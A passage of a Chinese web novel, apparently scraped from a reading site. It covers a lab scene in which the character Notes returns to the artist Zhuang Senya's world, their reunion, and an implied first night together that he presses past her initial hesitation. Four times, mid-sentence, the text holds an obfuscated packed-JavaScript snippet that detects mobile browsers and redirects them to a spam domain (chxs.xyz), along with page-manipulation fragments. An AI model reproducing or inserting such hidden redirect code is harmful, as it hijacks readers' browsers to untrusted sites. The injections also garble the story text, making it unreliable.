“十六年前,一个男孩闯进了这栋大楼,打碎了一样东西。”男人说,“而后,就像多米诺骨牌效应,我们其他装载着实验物品的罐子也都一一破碎。在那之后,事态就再无法控制了。” 他说这些话的时候,是在盯着庄森芽的。 庄森芽往纳迪娅的方向看了看,后者正在煞有介事地摆弄着仪表盘,男人不像是在对她说话。 她不解,为什么要对她说这些? “我这些年所做的,不过是在修补那一年的漏洞。”他就像在说着事无关己的事情,连声音都平淡,不像是人该有的起伏,“所以,如果可以的话,我想得到你的帮助。” 局势一转,他不知为何突然开始寻求援助。 庄森芽眨了眨眼睛,又四下看了一番,这才指着自己问:“我?” “是的,你是很少见的连接者。” “我是啥?” “流传于这个世界的作品千千万万,如若其每一个背后都对应着一个亚世界,那么作者本人理应有与其中人物建立联系的能力。然而据我们的观测,当今能做到这种事情的,只有你一个人。” “喔……”她完全没懂。 “所以,为了更好的研究,我想请你创作下一部作品的时候,也务必让我们参与其中。”男人诚恳地说。 提到下一部作品,庄森芽隐约想起来了什么。 她还记得自己的好姐妹温枣说过,有一个大佬看上了《灵月十四》这部漫画,打算在完结之后替它造势,并且想要和作者签约下一部作品。 她记得对方说,这个大佬在一个著名的科学家手底下打工,庄森芽还问温枣,既然这个人不是编辑一类的,究竟是想要怎么和她签约。 看着眼前的这个男人,两件事情似乎就这么巧合地吻合了起来。 “你难道是……” 男人微微颔首,似乎是看穿了她心中所想,“之前也通过温以恒的女儿接触过你,重新介绍一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859652|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我是纳迪娅手中这个项目的副总监,你可以叫我清河。” 清河?听起来不像是人名…… “是他的代号。”纳迪娅适时地接话,压低了声音冲她说,“抱歉,他本名有点敏感,不知道对你自己也好,能省去很多麻烦事。” “好的……” “你愿意协助我们吗?”自称‘清河’的男人问。 考虑到这两个人正在帮助自己迎接诺特斯的回归,于情于理庄森芽都说不出一个不来。 “如果你们不介意我对发生的一切其实完全一窍不通的话……” 纳迪娅凑上前来,用下巴点了点桌面上的绘画板,“你就只需要专心画画就好了,就像你一直以来做的那样,剩下的是我们的工作。” “好……” 她答应了下来,却也不知道这份承诺代表了什么。 短暂的插曲结束,人们又回到了等待之中。 现在的时间是下午六点五十,距离七点只剩十分钟了。 看着分钟的倒计时进入了个位数,庄森芽不由得开始紧张起来。 每一分钟都像一年那样漫长,现在根本没心情做别的,只能死死地盯着手机上的倒计时。 大脑一次又一次传递来应该补充睡眠的指令,可她却强撑着睁大双眼,身体陷入一种空乏的无力,即便这样也还是不愿懈怠半分。 倒计时进入了以秒计数,她感觉到心脏在不适地跳动,一方面是因为整夜未睡,一方面是因为压力。 只剩十秒了。 她抬起头来,环视着整个有些阴冷的空间。 清河坐在操作台前,凝望着大大小小的屏幕。 纳迪娅站在她身边,盯着仪表盘上的参数。 他们都神色如常,仿佛麻醉医师在冷眼旁观一场并不重要的手术。 为什么他们都不紧张? 是了,因为只有她在乎这个结果。 对他们来说,诺特斯只是一个异常的人物,能回来的话当然好,也就能继续对他展开研究,回不来的话,也没什么可惜的。 可是她来说不一样,那个人不是什么观察的对象,而是一个—— “滴滴,滴滴。” 中控台传来报警的声音。 听到这个声音,纳迪娅突然行动起来,身影一下子窜出玻璃房,问道:“怎么了?” 清河神情严肃,在非标准制的键盘上快速地操作着什么,“时间已经到了,但通道内没有信号传输。” “两端裂隙是开启的吗?” “是敞开的。”他说着,蹬了一下地,座椅带着他来到了侧方的屏幕,“出问题了,纳迪娅,这个通道能坚持多久?” “十分钟。” “不够。”他在控制台上按下一个键,戴上耳麦,半晌之后,张口和不知什么人说话,“项目编号NL-101,裂隙通道请求人为干预,时间延长至……能延长多久就延长多久。” 另一边,纳迪娅回到了连接着导管的座椅旁边,神情肃穆地盯着仪表盘,在上面调节着旋钮。 庄森芽茫然地看着这一切,没人向她解释,她不知道发生了什么,然而这绝对不是什么乐观的迹象。 手机上的时间已经转过了晚七点,变成了七点零一分。 她画完漫画的时候是六点不到,按理来说,一个小时的时间早就过去了。 161. 冲破牢笼的心 一种不好的预感在内心发酵,她的脸色渐渐开始发白。 不会真的……真的要发生最坏的结果吧。 她不想这么认为,可是事实的的确确地发生了——时间到了,那个人没有出现。 庄森芽感觉到自己的呼吸急促起来,就像有一块巨石压在胸口。 再度环视四周,偌大的空间里只有他们三个人,一个多余的影子都没有。 “纳迪娅女士……”她轻唤着对方的名字,声音有些微颤抖,然而只是叫了这么一声,她发觉自己什么都说不出来了。 甚至连那个问题都不敢问,唯恐得到一个肯定的回复。 纳迪娅听到她的呼唤,暂时放下了仪表盘上的工作,来到庄森芽身旁,轻轻按住了她的肩,“别担心,时间上有一些出入是正常的,我们时刻保持通道打开,很快他就会出现。” 她听不出来这是安慰还是实话,当下也只能把它当成救命稻草一样抓着。 虽然纳迪娅和清河两人总是提到什么通道,但庄森芽在附近完全看不到类似的装置,想起诺特斯消失的时候也是直接整个人透明化,那么出现的时候应该也不是必须从什么通道之中出来。 总而言之,既然他在这透明的房间门外消失,理应也在那里出现。 庄森芽强迫自己冷静下来,或许下一秒那个人就回来了,甚至还会带着一脸轻笑,嘲弄她的担忧。 时间一点一滴过去,七点五分,七点一刻。 不近人情的电流声此起彼伏,清河不断地联系着其他部门的人员,纳迪娅十分匆忙地往返于仪表盘和操作台之间。 他们积极得仿佛这件事情还有希望一样,为此不停地奔波。 庄森芽感觉自己心中的某处,有什么东西在角落里越积越多。 她刻意不去理会,不去管,于是那东西就愈发肆虐地病变、滋长。 七点半,又一声警报声响起。 庄森芽吓了一跳,立刻向主控台的方向看去。 只见半数的屏幕都熄灭了,清河的脸色有些惨白,就仿佛束手无策。 “过载了,通道维持的时间太长。”纳迪娅凑上了前去,分析着,又问道,“还是一点波段信息都接收不到吗?” 清河没说话,只是摇了摇头。 这时候,纳迪娅回过头来,目光落在了庄森芽的身上,这目光中是带着歉意的,还有一丝不忍。 看到对方这样的视线,庄森芽感觉自己的心脏仿佛空了一块,紧接着,刚才那在角落滋生、囤积的东西侵占了这片空缺。 一瞬间,她感觉自己仿佛被什么夺舍了,时间的流转都仿佛变慢,她能聆听到最为细微的声音,看到最为细节的变化,然而除此以外的任何东西,都感受不到了。 她会失去诺特斯吗? 这个问题轻飘飘地落下来,砸在心上,但没有激起任何的涟漪。 身体仿佛开启了什么保护措施,在巨大的变动面前,一切情感都被压制了。 小的时候的她并不是这样的,大概是从高中那个时候起,被信赖的朋友背叛之后,就变成了这个样子。 就像含羞草捏住自己的两片叶子,像穿山甲将自己蜷缩成一个团,她也缩回了壳里,把情绪像垃圾一样扔了出去,以保护己身不受伤害。 看到纳迪娅走过来,这一刻,她联想到了那些要向家属传递死训的医生,他们也是带着这样的神情,犹豫地接近将要得知一个巨大噩耗的人。 她感觉自己动不了了。 这时候如果逃出去的话,就不会听到纳迪娅将要说什么,可是她动不了。 纳迪娅推开了玻璃门,视线落在庄森芽的脸上,又移开,“小姑娘,你可能要做好心理准备。” 庄森芽盯着她,就像目视医生在为自己开膛破肚,明知会因此而留下记忆上的创伤,可还是要看。 “我们这边的准备已经检查了好几遍,没发现异常,通道也一直敞开着。”纳迪娅说着,向她解释原因,“然而却没有信号传递过来。” “……”庄森芽垂下了脑袋。 “这个情况怎么看,都是诺特斯那边出了问题。我们无法和他建立联系,也不知道他现在处于怎样的状态。” “……嗯。”她简单回应了一声,表示自己听明白了,并且接受这个事实。 视线堪堪落在桌角,纯白的桌面一尘不染,也一片空白,就如同当下的思绪。 纳迪娅蹲下来,蹲在庄森芽的身前。 “但你或许可以改变现状。” 她无动于衷了半晌,这才抬起头来,略带茫然地看着对方,不理解这是什么意思。 “通道两端的裂隙,有一端是由你的意识支撑的,就是那个‘想要让他回来’的愿望。”这时候,清河也走了过来,耐心地解释着,像在教导一个学生,“你能和另一端建立连接吗?” “你说这么复杂她怎么理解。”纳迪娅不满地道,转头又向庄森芽解释,“他的意思是,你的思念可能还需要再强烈一点,强烈到可以穿破次元壁的那种。” “你这么说她更没法懂了吧。”男人似乎有点无奈。 庄森芽依旧懵懂,“……思念?” “对,你的思念还不够。”纳迪娅确信地说。 庄森芽:“……” “我感觉你稍微有点收着了。”纳迪娅分析着,目光探究地打量她,“已经推迟了半个小时,他还没出现,我以为你会梨花带雨地哭着喊着:‘诺特斯,诺特斯快回来’。” “我……” “热恋中的情侣不都是这样的吗,分开半天都不行,要死要活的,好像没有对方就活不下去了一样。” “我们不是……” “果然还是思念不够啊,思念不够。”纳迪娅没听她说什么,自顾自地轻轻摇头,像是在感叹,“或许你没那么想让他回来?难怪诺特斯之前跟我说,他对能留在这个世界上这件事情没什么信心,原来问题是出在你这里了啊。” 不知为何,听对方这番断言的话语,庄森芽骤然感受到莫大的冤屈。 有一撮小小的火苗在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867853|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胸腔里燃烧了起来,将一堆枯木点燃,把她用来自卫的麻木烧得一干二净。 “我已经尽力去想了。”她说,目光开始变得有神起来,还带着星星点点的恼怒,不再是刚才那副六神无主的模样,“把所有有关他的事情都想了一遍,在心里一遍遍呼唤着他的名字,可是,他还是没出现。” “是啊,他没出现,这到底是为什么呢。”纳迪娅依然蹲在庄森芽的身前,宛若在刻意诱导着什么。 “是你一次又一次对我说‘放心’,我相信你了,可你现在却反过来找我的问题。”庄森芽的语气有点凶,但她控制不住,“是我不想让他留在这个世界吗,是我对他的思念不够?不是的,这整间屋子里就只有我在乎他会不会回来。” 说着,气息都有些不稳,眼眶也在发酸,她猛吸了一口气,捂住自己的脸,“我从来没想过他会回不来,从来没有往那个方向去想,可是……” 她其实没有想对任何人发脾气,也不认为纳迪娅有错。 事情发展到现在这个状况,是早有预料的事情。 诺特斯说他回来的概率只有百分之五十,就算纳迪娅能提高这个概率,又能提高到哪去呢,反正不是百分之百。 只是她还没做好心理准备,谁也不肯相信最坏的情况会真的发生在自己身上。 然而在这一刻真正到来的时候,才发现曾经有多么天真。 庄森芽现在脑袋很混乱,话语像瀑布一般倾泻而出,连自己都快不知道自己到底在说些什么了,“我的思念真的不够吗,还是说其实是因为我们之间的连接不够强,因为我一直以来都不接纳他,一直都在戴着有色的眼镜看他,没那么真心诚意地对待他?” 纳迪娅无言地听着这番话,伸出手来,安抚性质地搭在她的肩上。 “但我现在已经明白了,那些都是自己的误解。”她维持着冷静的声线,依然捂着脸,然而却有热流顺着指缝流了下来,“他虽然性格有点恶劣,但远没有我想得那么糟,甚至一直都在帮我的忙。虽然时常会做出让人担惊受怕的事来,但现在想起来,他从来没有真的伤害过我。” 肩上的那只手撤走了,纳迪娅起身,无声地离开。 控制台的警报声在某一刻停止,房间里一度混乱的声音仿佛被什么吞噬,归于一片宁静。 然而庄森芽太投入于自己的情绪,丝毫没有注意到这些变化。 她越说越委屈,越说越难过,袒露心扉的时候同时也是伤得最重的时候。 “我……想再见到他。”低声说着,将自己的内心一层一层剖开来,“哪怕他不再帮我的忙,收回所有的善意……我还是想见到他。” 即便这个人回来之后说:他已经不想再为她家公司的事情而奔走了,说之前对她的好全都是逢场作戏,就是为了让她上当,使她动摇,以来达成自己贯彻始终的目的。 即便诺特斯无情地将她曾经的恐惧化为现实,庄森芽还是希望能够再见到他。 她觉得自己可能是疯了,巨大的落差让精神都开始不正常。 162. 对在乎的总是既要又要 思绪一片混乱之时,空荡的房间里,有一个脚步声接近,她猜是纳迪娅回来了。 依然是一双搭在肩头的温热手掌,它们传递着让人宁神的热量。 庄森芽没有拿走捂在脸前的手,不希望被人看到自己哭泣的模样。 汹涌的感情如潮水般袭来又褪去,她努力平复着心情。 “请你帮帮我,无论如何也要让诺特斯回来……” 对面的人一时无言,只有那双安慰性质的手掌牢牢地攀附在她的肩膀上。 渐渐地,一个疑惑升了起来。 纳迪娅的手……有这么大吗? 庄森芽从掌心抬起脑袋,房间内冷色调的光打进眼中。 她看清了蹲在自己身前的人。 乍一眼望过去,这个身影是漆黑的,但若仔细盯着看的话,便会被一双摄人心魄的暗金色眼眸所吸引,黑色的卷发随性地生长,面部锐利的棱角此刻却显得柔和。 他怜惜地看着她。 庄森芽盯着眼前的人,一时有些愣住。 是幻觉?还是什么…… 下一刻,幻觉开口了,带着熟悉的音色,“迟到的惩罚,就是让我看到这一幕吗?” 他伸手,抹去顺流而下的一滴泪珠。 气息钻进了鼻翼间,是她所熟悉的。 声音在脑海中回荡着,和那人别无二致。 他的头发长长了一些,眼神比离去时疲惫,整个人散发着一股有些力竭的气息,但除此以外什么都一样。 庄森芽滞愣了片刻,没有注意到自己早就不再呼吸,她抬起一只手来,想要确认什么一样,指尖触碰对方的脸颊。 诺特斯微微低下头来,自己蹭进了柔软的掌心之中,目光上挑着看她,嘴角勾起令人怀念的弧度。 ……手下有实感,这不是幻觉。 下一刻,几乎没什么犹豫地,庄森芽一下子从座椅中钻出来,扑进了对方的怀里。 诺特斯拥住了她,安抚性质地一遍遍抚摸白色的长发。 是真的,这是真的,她听见心跳声了,呼吸也是清晰可闻的,他是活的,活生生的。 轻轻抽了口气,这才开始呼吸,她声音闷闷地,确认着,“真的是你吗……” 头顶上传来轻笑声,可男人没再如惯常那般调侃些什么,只是想要怀里的人安心一般,肯定地回答,“是我。” 失而复得的喜悦一涌而上,冲昏了头脑,几乎令人害怕,害怕这不是真的,害怕下一刻又要失去。 于是将那人抱得紧了又紧,再一遍又一遍确认着存在。 除此之外,已经没办法做别的了,也没办法思考其他。 诺特斯为什么晚归,为什么又在这个时刻出现,究竟发生了什么,一切都想不明白了。 不知紧拥了多久,在某刻拉开了一些距离,被对方珍重的视线包裹着,可直到现在庄森芽还是难以百分百确认对方就在这里。 失去的苦痛重伤了她,这道创口一时也无法愈合。 这么患得患失,一点也不像自己。 可是她真的害怕了。 “咳咳。” 不知多久过去,一声轻咳使人从梦中惊醒。 庄森芽看到纳迪娅站在玻璃门口,露出一种几乎可以称之为慈爱的宠溺目光。 “还否认说不是情侣,小姑娘的嘴巴可真硬。” 听到这句话,一股热流涌上面颊,让本就哭红的脸更像是熟透了一样。 想反驳,但半个字都说不出口,毕竟和男人如胶似漆黏在一起的不是别人,正是自己,可庄森芽暂时还不想只是为了否定女人的话语而挣脱。 诺特斯回过头去,拥紧她的手臂并没有松开,朝另一个人问:“怎么样?” “通道两端的狭隙均已关闭,将来也不会再生成了。”纳迪娅笑起来,绿色的眼眸流露出一种温和的光,“恭喜你,诺特斯,正式成为这里的住民了。” 他轻轻叹了口气,就像感受到尘埃落定。复又转过身来,看着怀中眼睛红彤彤的人,一遍又一遍替她擦去不断溢出的泪水。 “听到了吗?不用再担心了。” “……嗯。” 两只手紧紧攥着对方的衣服,心情就像是坐过山车一样,时而跌落谷底,时而骤起冲上云霄,庄森芽感觉自己的心脏都快停跳了。 从两天前准备画漫画结局开始,她就没有闭眼过,心脏本就在发出抗议的悲鸣,又接着大起大落,几乎要超出负荷。 这时候,一个人影火急火燎走了过来,是清河,他冲玻璃房内的人问道:“诺特斯,最后发生了什么吗?通道是开启的,可是你那边没有信号唔唔——” 他话没说完,就被一旁的纳迪娅捂住了嘴巴。 她把人从玻璃房间拽远了,压低声音对他说:“你好歹看一下气氛,现在是问这些事情的时候吗?” “可这是很重要的事情。” “再重要也没有人俩团聚重要。” 清河面容无辜,寡淡的脸上难得有了其他情绪,“可你刚才不也冲进去打断了他们……” 纳迪娅有点不好意思,“呃,我这是,看他们太忘情了,帮忙缓和一下哈哈。” 透明的空间内,诺特斯扶着庄森芽站了起来。 “诺特斯……”她想说些什么,可是一只手指温柔地抵在了唇上。 男人用食指刮蹭着她的脸颊,“很累了吧?我送你回家休息。” 那只手有封住话语的意味,虽然很轻柔,但也的确是在制止。 庄森芽没多想,应了一声,回身开始收拾自己的东西。 她把笔记本和手绘板装进背包,收拾的时候,时不时还要看诺特斯一眼,生怕他像一个幻象一样再度消散了。 两人离开中央的圆形玻璃房后,发现纳迪娅和清河正在主控台旁站着,打量着他们。 “我先送她回家。”诺特斯对两个人说。 纳迪娅十分会察言观色的说道:“不着急!至于最后一次传输发生了什么问题,你有空给我们打个电话说明一下就行,路上小心啊。” 清河没说什么,无奈地摇摇头,朝两人摆摆手,以作告别。 登上回家的轿车,他们一左一右坐在后排,诺特斯在中途就接管了庄森芽的背包,一手提着,另一只手和她牵在一起,直到现在也没有放开。 庄森芽的心情已经平复了许多,与对方并排坐着,离得很近,直到此刻,才觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867854|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得有些局促无言。 自己的失态又被这个男人撞见了,细数下来,这几个月以来,每次掉眼泪几乎全都是在他的面前,恐怕在对方心里,她已经被贴上爱哭鬼之类的标签了,但容她辩解,她平时是不怎么爱哭的。 诺特斯的模样看起来很平静,就连现在也是看着窗外,怡然自若,仿佛对终于能够留在这个世界上这件事情没多大喜悦似的,对于两人的重逢也没什么太大的感觉,那般的云淡风轻。 或许只有自己一个人提心吊胆,庄森芽想着。 这让她有点委屈。 诺特斯并不害怕和她永远地分别吗? “最后发生了什么吗?”她没有直接去打探对方的心意,而是拐弯抹角地问。 诺特斯听到了,转过头来,脸上挂着微笑,得体而自洽,似乎一丝慌乱都没有,“有个烦人的家伙缠上了我,耽误了一点时间,不过最终哈兰出面替我解决了。” “这样啊……” 又是她不知道的情节。 漫画结尾结束于多国会谈,诺特斯作为救世主‘死去’,哈兰重回人世执掌石剑醇工厂,人们意识到世界正在老化溃亡,于是开始精心维护他们的家园,一切向好。 这是她所知道的一切,更多的细节就不了解了。 看来诺特斯那边还发生了什么节外生枝的事情。 男人解释完之后,目光便再度投向窗外,似乎也没有展开讲讲的打算,也不说说未能按照计划回来的那段时间里,他的心情又是怎样的。 庄森芽想起,刚才在那玻璃房里,他也是用一根手指制止了她的话语,就仿佛不愿产生过多的交流。 这让她心里有点七上八下的,不禁别扭起来。 明明刚才是她自己哭喊着说:诺特斯回来就好,哪怕不再帮助她、不再关心她在乎她也无所谓。 但是真的看到对方表现得这么平淡的时候,心里又不是滋味了。 她知道有一个词可以来形容自己现在的状态——得寸进尺。 但她就是控制不住。 后半程,两人都很安静。 下车的时候,因为不便,牵在一起的手松开了,让人感觉空落落的。 庄森芽走进公寓的大门,闷声钻进电梯,按下楼层,低头等待着。 整个过程中,诺特斯一直无言地跟在她的身后。要不是这人手上还拿着她的背包,庄森芽甚至以为旁边只是个陌生人在跟着自己。 他怎么能那么冷静?难道只有她在意得不得了吗。 明明两天之前分别的时候,他还是那样的不舍。 还是说,那些其实也是假的? 终于在这一刻,忍气吞声的人得到了自己想要的,成功摆脱了创造者的束缚,自由自在地活在这个世界上。 所以,也没必要卑躬屈膝讨好她了? ……或许问题就出在这里,果然这还是一场欺骗。她声泪俱下地呼唤他回来——这就是他想看到的结果。 他成功了。 可是……即便这样…… 她还是为他的归来感到高兴。 居然无法遏制地产生这种想法,庄森芽觉得自己真的是疯了,这可能就是曾经那些自私的报应。 163. 似乎少了点什么至关重要的…… 似乎少…… 叮—— 楼层到了,她打开家门,房间里很空旷,爸妈都不在家。 关门的声音在身后响起,诺特斯跟了进来。 终于来到一个没有旁人的环境,能好好聊一聊了。 庄森芽把外套挂好,又顿了顿,这才转过身去,面色有些沉重,对他说:“现在你已经彻底自由了——” 话音刚落,她就被人紧紧地抱住了。 一时没反应过来这是怎么回事,被对方的重量压得差点没站稳。 “诺特斯?”她呼唤着,但男人没有回应。 拥紧的手臂是有些颤抖的,耳畔的呼吸也在逐渐加重,男人几乎是整个挂在她身上,像失去了全身的力气。 庄森芽不知道对方这是怎么了,想把他推开看看情况,然而诺特斯却不让她这么做。 “我快要喘不上气来了……”这不是假话,她两只手臂都垫在胸前,整个人仿佛都团成了棉花,被对方紧紧地裹住,喘息当真有些费力。 说完这句话后,箍紧的力量放轻了一些,但这仍是个无法挣脱的怀抱。 庄森芽开始不理解了,刚才在那个实验室一样的玻璃房间里时,他们不是已经紧紧拥抱过了吗? 这是还没抱够? “我……回……”他呢喃着。 “什么?”庄森芽没有听清。 诺特斯拔高了一些音量,可听着依然是气音,甚至于有些破碎,“……我以为我回不来了。” 听到对方少见的脆弱音色,一种说不清的感觉在身体里蔓延,像是被麻痹了,半边身体都动弹不得。 她不知道此刻是安慰好,还是说‘她也一样’比较好,纠结半晌,终是什么都没说出口,只是轻轻抚摸对方的头发。 黑色的发丝意外光滑,又带着弹性,像倔强的海草,摸起来手感不错。 摸着摸着,有点忘记这个动作原本是想安抚对方,就这么玩了起来。 紧接着,行为被打断了,诺特斯钻进她的脖颈,弄得她有些痒。 缩了缩脖子,然而吻却落了下来,她一惊,身体僵硬了,本能想往外逃。 “等等——”话还没说两句,对方的态度究竟如何还没弄明白,她不想这么稀里糊涂被人在手心把玩。 “别拒绝我……”几乎带着一些乞求意味,诺特斯说。 庄森芽愣住了。 他什么时候说过这种话?从来没有。 要么就是坦然地被她推开,要么就是罔顾她的意愿。 这样的请求是从未发生过的。 “突然怎么了……”她不解地说,“从大楼离开到进家门之前还好好的。” 诺特斯深吸了一口气,鼻腔中充盈的都是怀中人的味道,他笑了,笑得似乎有些自嘲。 拉开了一些距离,他面对面注视着她,“你想让我在那两人的面前这么做吗。” 话音落下,他付诸了行动。 一个轻柔的吻送了上来。 这让庄森芽本就混乱的大脑更是一团浆糊,她开始迷茫,想着诺特斯此刻究竟在想什么,又是以怎样的心情吻她。 想法又是否和她一样。 一吻结束的时候,她盯着对方的眼睛,在那其中看出了深情和依恋。 谜题似乎解开一些了。 原来先前只是强撑。 那些无言,那些遏制,都是无可奈何,只怕不加约束,便会一夕溃堤。 “……你表现得那么冷静,我以为你都不在乎。”她犹豫了半晌,还是把真心话说出了口。 “想让我表现得很在乎吗?”他勉强地笑。 “我哭得那么没出息的样子都被你看到了。” 他声音压低了些,再度附在她耳边,“好,那让你看看我在意得不得了的样子。” 话音刚落,诺特斯往下一蹲,抱住大腿就把人架了起来。 庄森芽发出一声惊呼,身体的腾空使她本能地不安,抱紧了男人的脖子,“干什么!?” 对方没回答,几步跨进卧室,将人扔在柔软的床上,又欺身压了上来。 再度被一个怀抱紧紧地锁住,庄森芽像条鱼一样拧动起来,感受到男人在细细啄吻她的脖子,脸上越蒸越红。 “你要干什么……”她努力抽出一只手,插入对方细腻的发丝之间,想把他的脑袋拽开,然而手上却像打油了一样脱力,总是失败。 吻至侧颈,诺特斯咬住她的耳垂,“当然是要你。” 一开始她还没理解这是什么意思,直到一只手挑开衣摆,像蛇一样寸寸向上窜过,最终停在内衣的搭扣上。 啪嗒一声,她感觉胸口一松。 虽然外在上几乎没有什么变化,然而下方的行为却无疑是个强烈的暗示。 她一下就明白过来对方是什么意思,顿时像一只被枪声吓住的野兔,一动也不敢动了。 心脏跳得极快,嘴唇嗡动着,有点不敢相信当下正在发生什么。 对未知的恐惧让她表现出拒绝的态度,抓住对方的大臂,徒劳地推拒着,“别……” “是你说要看我情难自制的样子。”诺特斯轻而易举压制住了她小小的抗议,将两人之间的缝隙又抹消几分,他虽然是调笑着看着她,但看上去同时也在忍耐着什么,“别逃啊。” “我已经看到了。”庄森芽立刻软化了态度,退让了好几分,“已经很了解了,所以你不用……” 不用进一步展示了。 再展示下去她会疯的。 然而,事实并不如她所愿。 诺特斯就像已然胜券在握,不急于继续下去,偏偏在这个时候诉说起了自己的心境。 “以为回不来的时候,你知道我是什么感觉吗。”他抓起她的手,放在自己的胸口,“这里,不跳了。” 砰砰,砰砰。 手掌下传来强劲的鼓动,那么热烈,就仿佛要自己跳出来给她看一样。 “一想到我将活在一个没有你的世界上,”诺特斯的声音放缓了,尾音拉得很长,就仿佛想要用这缱绻的音色将她包围,“我就想死,想被你杀死,想着不如一开始就死在你的笔下,好过见到你,认识你,却不能延续这一场相识直至生命的尽头。” 庄森芽抽出一只手来,挡在自己的眼前,“别说……了……” 她快要承受不起,只能用这样徒劳的方式缓和。 诺特斯没有拿开那只手,在这之后,他都没有再强迫她做什么了。 或者不如说,在他说完那段话之后,庄森芽已经失去了所有反抗的力气。 不久前,这个人还说什么‘她是知道如何逼疯他的’,他自己不也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867855|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样吗? 说这些话……根本没给她留活路。 视野中最后清晰的事物是卧室没关的门,这个没什么意义的画面在庄森芽的脑海里停留了很久。 时隔良久,视线第二次投向那里时,它已经关上了。 可能是诺特斯去拿他说一定要用的东西时关上的,她记不太清了。 自己可能问了一些蠢问题,因为脑海里满是男人宠溺的笑容,却从来没有得到问题的答案,至少口头上的没有。 他都是用行动回答。 吃一堑长一智,后来她不问了,因为承受不了。 ## 第二天早上,庄森芽在床上生闷气。 原因无它,两个字,草率。 居然就这么把自己给出去了,老妈的淳淳教诲她当耳旁风,老祖宗的社会习俗被她嚼碎了当废纸吃。 疯狂之后,她睡了一整夜,清早脑袋冷却下来,终于意识到一个很严重的问题。 这个顺序……不对吧!? 昨天晚上是他们真正意义上的第一次牵手,就是在离开大楼直到到家的那段时间里。以前也有过许多肢体接触,但出于各种各样的原因,不能考虑进关系的进程里。 然而牵手的当天夜里,他们就已经滚在同一张床上了。 一个声音在内心安慰自己说,气氛都到了,顺其自然没什么不好。 然而另一个声音却在愤怒地控诉,不能就这么算了,没发现少了点什么吗? 告白呢?完全没有。 别说爱了,连一个喜欢的字眼都没蹦出来。 莫名其妙就发生了关系,然而一句承诺性质的话语都没说,这和一夜情有什么区别? 为数不多的交流也令人发指,耳鬓厮磨的内容都是些什么‘家里有没有东西’,‘宝贝疼了和我说’,‘是这个角度舒服吗’。 不知道的还以为在拍AV。 还有,什么关系啊就开始叫得那么亲昵了? 她虽然在生活中很多方面抱有宽容的态度,但在这种事情上自认还是偏向传统。 传统又没什么错,那是前人经验的积累,虽然可能不适用于任何情况,但她觉得自己的情况还是可以适用一下的。 当下正值明媚的早晨,她在床上躺了有一阵了,身体已然苏醒,肚子开始咕咕叫起来。 门外飘来食物的香气,吸油烟机运作的声音也一并传了进来,她知道是谁在厨房做饭。 醒来的时候发现身边没人,她承认自己慌了,但慌得不多,只有一瞬。裹着被子离开卧室,在厨房发现那个人的身影之后,她就镇定下来了。 然后回到被窝里继续睡。 但是睡不着,因为刚才提到的那些思绪霸占了脑海。 她翻来覆去,辗转反侧,就是想不明白一个问题。 诺特斯为什么不告白!? 她感觉气氛完全到了,时机也正合适,彼此的心意昭然若揭,可男人的字典里就仿佛没那个字眼似的。 是他原本生活的地方没有这个习俗?还是他在希腊也没学会这个世界的规矩? 又或者,他在等她先表白? 不,不可能,等她先开口,做梦去吧。 总而言之,不管怎么想,这场告白到了这个份上都没有发生,简直不可理喻。 164. 人不能,起码不应该 厨房里的轰鸣声停下来了,混杂着谷类和肉类的香气飘进来,在她的鼻翼作乱。 她咽了口口水,在床上翻了个面,听到一个脚步声临近。 那人走进了卧室,紧接着,什么东西和桌面轻微的碰撞声响起,可能是一只瓷碗。 她感受到床铺下陷了一些,猜测是男人坐在了床边。 “醒了吗?”对方听起来心情不错。 庄森芽默不作声,装死又装睡。 下一刻,隐约感觉什么东西接近她,脸上细密的绒毛率先发出了警示,然后,一个吻落在了额头上。 她的睫毛控制不住地动了动,听到男人从喉咙里发出轻笑。 那磁性的笑声让她的脸颊有些燥热,终于是装不下去了,睁开眼睛,恶狠狠地看过去。 胳膊肘撑着光裸的上半身,诺特斯非常不体面地只穿了条长裤,紧实的肌肉毫无保留,镀上一层夜色的皮肤为其增添了一份野性的力量感。 